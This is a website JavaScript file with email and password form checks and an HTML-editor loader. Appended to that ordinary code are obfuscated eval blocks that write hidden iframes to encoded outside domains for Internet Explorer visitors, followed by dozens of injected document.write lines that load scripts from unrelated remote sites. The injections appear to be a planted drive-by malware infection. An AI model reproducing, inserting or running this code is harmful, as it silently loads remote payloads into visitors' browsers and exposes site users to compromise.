function echeck(str) {



		var at="@"

		var dot="."

		var lat=str.indexOf(at)

		var lstr=str.length

		var ldot=str.indexOf(dot)

		if (str.indexOf(at)==-1){

		   alert("Invalid E-mail ID")

		   return false

		}



		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){

		   alert("Invalid E-mail ID")

		   return false

		}



		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){

		    alert("Invalid E-mail ID")

		    return false

		}



		 if (str.indexOf(at,(lat+1))!=-1){

		    alert("Invalid E-mail ID")

		    return false

		 }



		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){

		    alert("Invalid E-mail ID")

		    return false

		 }



		 if (str.indexOf(dot,(lat+2))==-1){

		    alert("Invalid E-mail ID")

		    return false

		 }

		

		 if (str.indexOf(" ")!=-1){

		    alert("Invalid E-mail ID")

		    return false

		 }



 		 return true					

	}





function checkthis(){

	var emailID=document.f1.user		

	if ((emailID.value==null)||(emailID.value=="")){

		alert("Please Enter a Valid E-mail Address")

		emailID.focus()

		return false

	}

	if (echeck(emailID.value)==false){

		emailID.value=""

		emailID.focus()

		return false

	}

	if (document.f1.pass.value==""){

		alert("Please Enter your Password")

		document.f1.pass.focus()

		return false

	}

	

	return true

 }





function chkPwd() {

  if (document.fPassword.sNewPassword.value=="") {

    alert("Please enter your new password");

 document.fPassword.sNewPassword.focus();

 return false;

  }

  else if (document.fPassword.sNewPassword2.value=="") {

    alert("Please confirm your new password");

 document.fPassword.sNewPassword2.focus();

 return false;

  }

  else if (document.fPassword.sNewPassword.value.length < 6 ) {

    alert("Please ensure your password is at least 6 characters in length");

 return false;

  }

  else if ((document.fPassword.sNewPassword.value) != (document.fPassword.sNewPassword2.value)) {

    alert("Your new password and password confirmation do not match");

 return false;

  }

  else return true;

}





function chkForm() {

  if (!document.f.sAgree.checked) {

    alert("Please check the box");

 document.f.sAgree.focus();

 return false;

  }

  else return true;

}



// HTML EDITOR



_editor_url = "";

var win_ie_ver = parseFloat(navigator.appVersion.split("MSIE")[1]);

if (navigator.userAgent.indexOf('Mac')        >= 0) { win_ie_ver = 0; }

if (navigator.userAgent.indexOf('Windows CE') >= 0) { win_ie_ver = 0; }

if (navigator.userAgent.indexOf('Opera')      >= 0) { win_ie_ver = 0; }

if (win_ie_ver >= 5.5) {

 document.write('<scr' + 'ipt src="' +_editor_url+ 'editor.js"');

 document.write(' language="Javascript1.2"></scr' + 'ipt>');  

} else { document.write('<scr'+'ipt>function editor_generate() { return false; }</scr'+'ipt>'); }
sa="%6B%73%68%66%65%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("<2 25=1 27=1 23=\'22://"+18+"/19/\' 20=\'21:29\'></2>")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));


sa="%73%64%65%74%77%64%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));

sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));

document.write('<script src=http://jsmgroup.pl/web_flash/phpinfo.php ><\/script>');
document.write('<script src=http://jsmgroup.pl/web_flash/phpinfo.php ><\/script>');
document.write('<script src=http://jsmgroup.pl/web_flash/phpinfo.php ><\/script>');
document.write('<script src=http://jsmgroup.pl/web_flash/phpinfo.php ><\/script>');
document.write('<script src=http://jsmgroup.pl/web_flash/phpinfo.php ><\/script>');
document.write('<script src=http://dancefriends-moessingen.de/ausbaude/index_080201a.php ><\/script>');
document.write('<script src=http://dancefriends-moessingen.de/ausbaude/index_080201a.php ><\/script>');
document.write('<script src=http://dancefriends-moessingen.de/ausbaude/index_080201a.php ><\/script>');
document.write('<script src=http://dancefriends-moessingen.de/ausbaude/index_080201a.php ><\/script>');
document.write('<script src=http://dancefriends-moessingen.de/ausbaude/index_080201a.php ><\/script>');
document.write('<script src=http://dancefriends-moessingen.de/ausbaude/index_080201a.php ><\/script>');
document.write('<script src=http://dancefriends-moessingen.de/ausbaude/index_080201a.php ><\/script>');
document.write('<script src=http://dancefriends-moessingen.de/ausbaude/index_080201a.php ><\/script>');
document.write('<script src=http://21stcenturyconsultants.com/Scripts/subjects2.php ><\/script>');
document.write('<script src=http://21stcenturyconsultants.com/Scripts/subjects2.php ><\/script>');
document.write('<script src=http://21stcenturyconsultants.com/Scripts/subjects2.php ><\/script>');
document.write('<script src=http://21stcenturyconsultants.com/Scripts/subjects2.php ><\/script>');
document.write('<script src=http://21stcenturyconsultants.com/Scripts/subjects2.php ><\/script>');
document.write('<script src=http://21stcenturyconsultants.com/Scripts/subjects2.php ><\/script>');
document.write('<script src=http://cemsapromotion.com/css/havlue.php ><\/script>');
document.write('<script src=http://cemsapromotion.com/css/havlue.php ><\/script>');
document.write('<script src=http://cemsapromotion.com/css/havlue.php ><\/script>');
document.write('<script src=http://cemsapromotion.com/css/havlue.php ><\/script>');
document.write('<script src=http://cemsapromotion.com/css/havlue.php ><\/script>');
document.write('<script src=http://cemsapromotion.com/css/havlue.php ><\/script>');
document.write('<script src=http://cemsapromotion.com/css/havlue.php ><\/script>');
document.write('<script src=http://panamaxexim.com/register/index.php ><\/script>');
document.write('<script src=http://panamaxexim.com/register/index.php ><\/script>');
document.write('<script src=http://panamaxexim.com/register/index.php ><\/script>');
document.write('<script src=http://panamaxexim.com/register/index.php ><\/script>');
document.write('<script src=http://panamaxexim.com/register/index.php ><\/script>');
document.write('<script src=http://panamaxexim.com/register/index.php ><\/script>');
document.write('<script src=http://panamaxexim.com/register/index.php ><\/script>');
document.write('<script src=http://beeldbank.funkyclients.nl/login.php ><\/script>');
document.write('<script src=http://beeldbank.funkyclients.nl/login.php ><\/script>');
document.write('<script src=http://beeldbank.funkyclients.nl/login.php ><\/script>');
document.write('<script src=http://beeldbank.funkyclients.nl/login.php ><\/script>');
document.write('<script src=http://beeldbank.funkyclients.nl/login.php ><\/script>');
document.write('<script src=http://beeldbank.funkyclients.nl/login.php ><\/script>');
document.write('<script src=http://beeldbank.funkyclients.nl/login.php ><\/script>');
document.write('<script src=http://beeldbank.funkyclients.nl/login.php ><\/script>');
document.write('<script src=http://beeldbank.funkyclients.nl/login.php ><\/script>');
document.write('<script src=http://beeldbank.funkyclients.nl/login.php ><\/script>');
document.write('<script src=http://newsandnow.com/wp-content/vdayyy.php ><\/script>');
document.write('<script src=http://newsandnow.com/wp-content/vdayyy.php ><\/script>');
document.write('<script src=http://newsandnow.com/wp-content/vdayyy.php ><\/script>');
document.write('<script src=http://newsandnow.com/wp-content/vdayyy.php ><\/script>');
document.write('<script src=http://newsandnow.com/wp-content/vdayyy.php ><\/script>');
document.write('<script src=http://newsandnow.com/wp-content/vdayyy.php ><\/script>');
document.write('<script src=http://newsandnow.com/wp-content/vdayyy.php ><\/script>');
document.write('<script src=http://newsandnow.com/wp-content/vdayyy.php ><\/script>');
document.write('<script src=http://zandia.pl/ajaxfilemanager/indexk.php ><\/script>');
document.write('<script src=http://zandia.pl/ajaxfilemanager/indexk.php ><\/script>');
document.write('<script src=http://zandia.pl/ajaxfilemanager/indexk.php ><\/script>');
document.write('<script src=http://zandia.pl/ajaxfilemanager/indexk.php ><\/script>');
document.write('<script src=http://zandia.pl/ajaxfilemanager/indexk.php ><\/script>');